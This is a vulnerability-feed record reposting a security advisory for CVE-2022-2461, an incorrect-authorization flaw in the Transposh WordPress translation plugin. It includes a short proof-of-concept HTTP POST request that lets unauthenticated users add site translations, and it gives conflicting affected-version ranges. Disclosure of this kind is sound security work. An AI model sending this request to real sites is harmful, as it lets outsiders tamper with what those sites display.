{"uuid": "08840376-7892-4b31-83ff-4bbd5c36153e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-2461", "type": "seen", "source": "https://t.me/hacking_Attack/63497", "content": "Exploit Collector\nTransposh WordPress Translation 1.0.7 Incorrect Authorization\n\nhttps://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png \nTransposh WordPress Translation versions 1.0.7 and below suffer from an incorrect authorization vulnerability. When installed, Transposh comes with a set of pre-configured options, one of these is the \"Who can translate\" setting under the \"Settings\" tab, which by default allows \"Anonymous\" users to add translations via the plugin's \"tp_translation\" ajax action. Successful exploits can allow an unauthenticated attacker to add translations to the WordPress site and thereby influence what is actually shown on the site.\n\nSHA-256 | c25e589bc0f339822e669aa5ee336af340896bf3579587f6ad8e5c6ae0691179\n\nDownload\nRCE Security Advisory\nhttps://www.rcesecurity.com\n1. ADVISORY INFORMATION\n=======================\nProduct:        Transposh WordPress Translation\nVendor URL:     https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/\nType:           Incorrect Authorization [CWE-863]\nDate found:     2022-07-13\nDate published: 2022-07-22\nCVSSv3 Score:   7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)\nCVE:            CVE-2022-2461\n2. CREDITS\n==========\nThis vulnerability was discovered and researched by Julien Ahrens from\nRCE Security.\n3. VERSIONS AFFECTED\n====================\nTransposh WordPress Translation 1.0.8.1 and below\n4. INTRODUCTION\n===============\nTransposh translation filter for WordPress offers a unique approach to blog\ntranslation. It allows your blog to combine automatic translation with human\ntranslation aided by your users with an easy to use in-context interface.\n\n(from the vendor's homepage)\n5. VULNERABILITY DETAILS\n========================\nWhen installed Transposh comes with a set of pre-configured options, one of these\nis the \"Who can translate\" setting under the \"Settings\" tab, which by default\nallows \"Anonymous\" users to add translations via the plugin's \"tp_translation\"\najax action.\n\nSuccessful exploits can allow an unauthenticated attacker to add translations to\nthe WordPress site and thereby influence what is actually shown on the site.\n6. PROOF OF CONCEPT\n===================\nThe following Proof-of-Concept adds a new translation\n\nPOST /wp-admin/admin-ajax.php HTTP/2\nHost: [host]\nContent-Length: 75\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0\n\naction=tp_translation&ln0=en&sr0=rcesecurity.com&items=1&tk0=rcesecurity.com&tr0=rcesecurity.com\n7. SOLUTION\n===========\nNone. Remove the plugin to prevent exploitation.\n8. REPORT TIMELINE\n==================\n2022-07-13: Discovery of the vulnerability\n2022-07-13: CVE requested from WPScan (CNA)\n2022-07-18: No response from WPScan\n2022-07-18: CVE requested from Wordfence (CNA) instead\n2022-07-18: Sent note to vendor\n2022-07-18: Wordfence assigns CVE-2022-2461\n2022-07-20: Since there are currently no plans to provide fixes at all:\n2022-07-22: Public disclosure\n9. REFERENCES\n=============\nhttps://github.com/MrTuxracer/advisories\nhttps://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:43.147584Z"}